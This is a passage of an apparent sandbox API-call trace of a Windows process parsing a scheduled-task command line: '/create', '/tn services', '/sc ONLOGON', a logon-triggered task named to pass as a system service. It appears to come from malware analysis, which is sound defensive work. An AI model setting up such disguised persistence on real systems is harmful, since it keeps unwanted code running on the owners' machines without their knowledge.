dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.480] lstrlenW (lpString="create") returned 6 [0149.480] GetThreadLocale () returned 0x409 [0149.481] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.481] lstrlenW (lpString="?") returned 1 [0149.481] GetThreadLocale () returned 0x409 [0149.481] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.481] lstrlenW (lpString="s") returned 1 [0149.481] GetThreadLocale () returned 0x409 [0149.481] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.481] lstrlenW (lpString="u") returned 1 [0149.481] GetThreadLocale () returned 0x409 [0149.481] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.481] lstrlenW (lpString="p") returned 1 [0149.481] GetThreadLocale () returned 0x409 [0149.481] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.481] lstrlenW (lpString="ru") returned 2 [0149.481] GetThreadLocale () returned 0x409 [0149.481] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.481] lstrlenW (lpString="rp") returned 2 [0149.481] GetThreadLocale () returned 0x409 [0149.481] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.481] lstrlenW (lpString="sc") returned 2 [0149.481] GetThreadLocale () returned 0x409 [0149.481] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.481] lstrlenW (lpString="mo") returned 2 [0149.481] GetThreadLocale () returned 0x409 [0149.481] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.481] lstrlenW (lpString="d") returned 1 [0149.481] GetThreadLocale () returned 0x409 [0149.481] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.481] lstrlenW (lpString="m") returned 1 [0149.481] GetThreadLocale () returned 0x409 [0149.482] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.482] lstrlenW (lpString="i") returned 1 [0149.482] GetThreadLocale () returned 0x409 [0149.482] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.482] lstrlenW (lpString="tn") returned 2 [0149.482] GetThreadLocale () returned 0x409 [0149.482] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.482] lstrlenW (lpString="tr") returned 2 [0149.482] GetThreadLocale () returned 0x409 [0149.482] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.482] lstrlenW (lpString="st") returned 2 [0149.482] GetThreadLocale () returned 0x409 [0149.482] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.482] lstrlenW (lpString="sd") returned 2 [0149.482] GetThreadLocale () returned 0x409 [0149.482] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.482] lstrlenW (lpString="ed") returned 2 [0149.482] GetThreadLocale () returned 0x409 [0149.482] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.482] lstrlenW (lpString="it") returned 2 [0149.482] GetThreadLocale () returned 0x409 [0149.482] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.482] lstrlenW (lpString="et") returned 2 [0149.482] GetThreadLocale () returned 0x409 [0149.482] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.482] lstrlenW (lpString="k") returned 1 [0149.482] GetThreadLocale () returned 0x409 [0149.482] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.482] lstrlenW (lpString="du") returned 2 [0149.482] GetThreadLocale () returned 0x409 [0149.482] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.483] lstrlenW (lpString="ri") returned 2 [0149.483] GetThreadLocale () returned 0x409 [0149.483] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.483] lstrlenW (lpString="z") returned 1 [0149.483] GetThreadLocale () returned 0x409 [0149.483] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.483] lstrlenW (lpString="f") returned 1 [0149.483] GetThreadLocale () returned 0x409 [0149.483] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.483] lstrlenW (lpString="v1") returned 2 [0149.483] GetThreadLocale () returned 0x409 [0149.483] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.483] lstrlenW (lpString="xml") returned 3 [0149.483] GetThreadLocale () returned 0x409 [0149.483] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.483] lstrlenW (lpString="ec") returned 2 [0149.483] GetThreadLocale () returned 0x409 [0149.483] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.483] lstrlenW (lpString="rl") returned 2 [0149.483] GetThreadLocale () returned 0x409 [0149.483] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.483] lstrlenW (lpString="delay") returned 5 [0149.483] GetThreadLocale () returned 0x409 [0149.483] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0149.483] lstrlenW (lpString="np") returned 2 [0149.483] SetLastError (dwErrCode=0x0) [0149.483] SetLastError (dwErrCode=0x0) [0149.483] lstrlenW (lpString="/create") returned 7 [0149.483] lstrlenW (lpString="-/") returned 2 [0149.483] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0149.483] lstrlenW (lpString="create") returned 6 [0149.484] lstrlenW (lpString="create") returned 6 [0149.484] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.484] lstrlenW (lpString="create") returned 6 [0149.484] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.484] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|create|") returned 8 [0149.484] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|create|") returned 8 [0149.484] lstrlenW (lpString="|create|") returned 8 [0149.484] lstrlenW (lpString="|create|") returned 8 [0149.484] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0149.484] SetLastError (dwErrCode=0x0) [0149.484] SetLastError (dwErrCode=0x0) [0149.484] SetLastError (dwErrCode=0x0) [0149.484] lstrlenW (lpString="/tn") returned 3 [0149.484] lstrlenW (lpString="-/") returned 2 [0149.484] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0149.484] lstrlenW (lpString="create") returned 6 [0149.484] lstrlenW (lpString="create") returned 6 [0149.484] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.484] lstrlenW (lpString="tn") returned 2 [0149.484] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.484] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|create|") returned 8 [0149.484] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.484] lstrlenW (lpString="|create|") returned 8 [0149.484] lstrlenW (lpString="|tn|") returned 4 [0149.484] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0149.484] SetLastError (dwErrCode=0x490) [0149.484] lstrlenW (lpString="?") returned 1 [0149.485] lstrlenW (lpString="?") returned 1 [0149.485] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.485] lstrlenW (lpString="tn") returned 2 [0149.485] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.485] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|?|") returned 3 [0149.485] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.485] lstrlenW (lpString="|?|") returned 3 [0149.485] lstrlenW (lpString="|tn|") returned 4 [0149.485] SetLastError (dwErrCode=0x490) [0149.485] lstrlenW (lpString="s") returned 1 [0149.485] lstrlenW (lpString="s") returned 1 [0149.485] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.485] lstrlenW (lpString="tn") returned 2 [0149.485] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.485] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|s|") returned 3 [0149.485] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.485] lstrlenW (lpString="|s|") returned 3 [0149.485] lstrlenW (lpString="|tn|") returned 4 [0149.485] SetLastError (dwErrCode=0x490) [0149.485] lstrlenW (lpString="u") returned 1 [0149.485] lstrlenW (lpString="u") returned 1 [0149.485] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.485] lstrlenW (lpString="tn") returned 2 [0149.485] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.485] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|u|") returned 3 [0149.485] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.486] lstrlenW (lpString="|u|") returned 3 [0149.486] lstrlenW (lpString="|tn|") returned 4 [0149.486] SetLastError (dwErrCode=0x490) [0149.486] lstrlenW (lpString="p") returned 1 [0149.486] lstrlenW (lpString="p") returned 1 [0149.486] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.486] lstrlenW (lpString="tn") returned 2 [0149.486] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.486] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|p|") returned 3 [0149.486] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.486] lstrlenW (lpString="|p|") returned 3 [0149.486] lstrlenW (lpString="|tn|") returned 4 [0149.486] SetLastError (dwErrCode=0x490) [0149.486] lstrlenW (lpString="ru") returned 2 [0149.486] lstrlenW (lpString="ru") returned 2 [0149.486] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.486] lstrlenW (lpString="tn") returned 2 [0149.486] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.486] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|ru|") returned 4 [0149.486] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.486] lstrlenW (lpString="|ru|") returned 4 [0149.486] lstrlenW (lpString="|tn|") returned 4 [0149.486] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0149.486] SetLastError (dwErrCode=0x490) [0149.486] lstrlenW (lpString="rp") returned 2 [0149.486] lstrlenW (lpString="rp") returned 2 [0149.486] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.486] lstrlenW (lpString="tn") returned 2 [0149.487] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.487] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rp|") returned 4 [0149.487] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.487] lstrlenW (lpString="|rp|") returned 4 [0149.487] lstrlenW (lpString="|tn|") returned 4 [0149.487] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0149.487] SetLastError (dwErrCode=0x490) [0149.487] lstrlenW (lpString="sc") returned 2 [0149.487] lstrlenW (lpString="sc") returned 2 [0149.487] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.497] lstrlenW (lpString="tn") returned 2 [0149.497] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.497] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.497] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.497] lstrlenW (lpString="|sc|") returned 4 [0149.497] lstrlenW (lpString="|tn|") returned 4 [0149.497] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0149.497] SetLastError (dwErrCode=0x490) [0149.497] lstrlenW (lpString="mo") returned 2 [0149.498] lstrlenW (lpString="mo") returned 2 [0149.498] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.498] lstrlenW (lpString="tn") returned 2 [0149.498] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.498] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|mo|") returned 4 [0149.498] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.498] lstrlenW (lpString="|mo|") returned 4 [0149.498] lstrlenW (lpString="|tn|") returned 4 [0149.498] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0149.498] SetLastError (dwErrCode=0x490) [0149.498] lstrlenW (lpString="d") returned 1 [0149.498] lstrlenW (lpString="d") returned 1 [0149.498] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.498] lstrlenW (lpString="tn") returned 2 [0149.498] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.498] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|d|") returned 3 [0149.498] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.498] lstrlenW (lpString="|d|") returned 3 [0149.498] lstrlenW (lpString="|tn|") returned 4 [0149.498] SetLastError (dwErrCode=0x490) [0149.498] lstrlenW (lpString="m") returned 1 [0149.498] lstrlenW (lpString="m") returned 1 [0149.498] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.498] lstrlenW (lpString="tn") returned 2 [0149.498] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.498] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|m|") returned 3 [0149.499] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.499] lstrlenW (lpString="|m|") returned 3 [0149.499] lstrlenW (lpString="|tn|") returned 4 [0149.499] SetLastError (dwErrCode=0x490) [0149.499] lstrlenW (lpString="i") returned 1 [0149.499] lstrlenW (lpString="i") returned 1 [0149.499] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.499] lstrlenW (lpString="tn") returned 2 [0149.499] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.499] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|i|") returned 3 [0149.499] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.499] lstrlenW (lpString="|i|") returned 3 [0149.499] lstrlenW (lpString="|tn|") returned 4 [0149.499] SetLastError (dwErrCode=0x490) [0149.499] lstrlenW (lpString="tn") returned 2 [0149.499] lstrlenW (lpString="tn") returned 2 [0149.499] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.499] lstrlenW (lpString="tn") returned 2 [0149.499] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.499] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.499] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.499] lstrlenW (lpString="|tn|") returned 4 [0149.499] lstrlenW (lpString="|tn|") returned 4 [0149.499] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0149.499] SetLastError (dwErrCode=0x0) [0149.499] SetLastError (dwErrCode=0x0) [0149.499] lstrlenW (lpString="services") returned 8 [0149.499] lstrlenW (lpString="-/") returned 2 [0149.500] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0149.500] SetLastError (dwErrCode=0x490) [0149.500] SetLastError (dwErrCode=0x490) [0149.500] SetLastError (dwErrCode=0x0) [0149.500] lstrlenW (lpString="services") returned 8 [0149.500] StrChrIW (lpStart="services", wMatch=0x3a) returned 0x0 [0149.500] SetLastError (dwErrCode=0x490) [0149.500] SetLastError (dwErrCode=0x0) [0149.500] lstrlenW (lpString="services") returned 8 [0149.500] SetLastError (dwErrCode=0x0) [0149.500] SetLastError (dwErrCode=0x0) [0149.500] lstrlenW (lpString="/sc") returned 3 [0149.500] lstrlenW (lpString="-/") returned 2 [0149.500] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0149.500] lstrlenW (lpString="create") returned 6 [0149.500] lstrlenW (lpString="create") returned 6 [0149.500] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.500] lstrlenW (lpString="sc") returned 2 [0149.500] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.500] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|create|") returned 8 [0149.500] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.500] lstrlenW (lpString="|create|") returned 8 [0149.500] lstrlenW (lpString="|sc|") returned 4 [0149.500] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0149.500] SetLastError (dwErrCode=0x490) [0149.500] lstrlenW (lpString="?") returned 1 [0149.500] lstrlenW (lpString="?") returned 1 [0149.500] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.501] lstrlenW (lpString="sc") returned 2 [0149.501] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.501] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|?|") returned 3 [0149.501] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.501] lstrlenW (lpString="|?|") returned 3 [0149.501] lstrlenW (lpString="|sc|") returned 4 [0149.501] SetLastError (dwErrCode=0x490) [0149.501] lstrlenW (lpString="s") returned 1 [0149.501] lstrlenW (lpString="s") returned 1 [0149.501] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.501] lstrlenW (lpString="sc") returned 2 [0149.501] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.501] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|s|") returned 3 [0149.501] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.501] lstrlenW (lpString="|s|") returned 3 [0149.501] lstrlenW (lpString="|sc|") returned 4 [0149.501] SetLastError (dwErrCode=0x490) [0149.501] lstrlenW (lpString="u") returned 1 [0149.501] lstrlenW (lpString="u") returned 1 [0149.501] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.501] lstrlenW (lpString="sc") returned 2 [0149.501] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.501] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|u|") returned 3 [0149.501] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.501] lstrlenW (lpString="|u|") returned 3 [0149.501] lstrlenW (lpString="|sc|") returned 4 [0149.502] SetLastError (dwErrCode=0x490) [0149.502] lstrlenW (lpString="p") returned 1 [0149.502] lstrlenW (lpString="p") returned 1 [0149.502] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.502] lstrlenW (lpString="sc") returned 2 [0149.502] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.502] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|p|") returned 3 [0149.502] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.502] lstrlenW (lpString="|p|") returned 3 [0149.502] lstrlenW (lpString="|sc|") returned 4 [0149.502] SetLastError (dwErrCode=0x490) [0149.502] lstrlenW (lpString="ru") returned 2 [0149.502] lstrlenW (lpString="ru") returned 2 [0149.502] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.502] lstrlenW (lpString="sc") returned 2 [0149.502] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.502] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|ru|") returned 4 [0149.502] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.502] lstrlenW (lpString="|ru|") returned 4 [0149.502] lstrlenW (lpString="|sc|") returned 4 [0149.502] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0149.502] SetLastError (dwErrCode=0x490) [0149.502] lstrlenW (lpString="rp") returned 2 [0149.502] lstrlenW (lpString="rp") returned 2 [0149.502] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.502] lstrlenW (lpString="sc") returned 2 [0149.503] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.503] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rp|") returned 4 [0149.503] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.503] lstrlenW (lpString="|rp|") returned 4 [0149.503] lstrlenW (lpString="|sc|") returned 4 [0149.503] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0149.503] SetLastError (dwErrCode=0x490) [0149.503] lstrlenW (lpString="sc") returned 2 [0149.503] lstrlenW (lpString="sc") returned 2 [0149.503] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.503] lstrlenW (lpString="sc") returned 2 [0149.503] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.503] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.503] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.503] lstrlenW (lpString="|sc|") returned 4 [0149.503] lstrlenW (lpString="|sc|") returned 4 [0149.503] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0149.503] SetLastError (dwErrCode=0x0) [0149.503] SetLastError (dwErrCode=0x0) [0149.503] lstrlenW (lpString="ONLOGON") returned 7 [0149.504] lstrlenW (lpString="-/") returned 2 [0149.504] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0149.504] SetLastError (dwErrCode=0x490) [0149.504] SetLastError (dwErrCode=0x490) [0149.504] SetLastError (dwErrCode=0x0) [0149.504] lstrlenW (lpString="ONLOGON") returned 7 [0149.504] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0149.504] SetLastError (dwErrCode=0x490) [0149.504] SetLastError (dwErrCode=0x0) [0149.504] GetProcessHeap () returned 0x2f0000 [0149.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30d560 [0149.504] _memicmp (_Buf1=0x30d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.504] lstrlenW (lpString="ONLOGON") returned 7 [0149.504] GetProcessHeap () returned 0x2f0000 [0149.504] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d580 [0149.504] lstrlenW (lpString="ONLOGON") returned 7 [0149.504] lstrlenW (lpString=" \x09") returned 2 [0149.504] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0149.504] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0149.504] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0149.504] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0149.504] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0149.504] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0149.504] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0149.504] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0149.504] GetLastError () returned 0x0 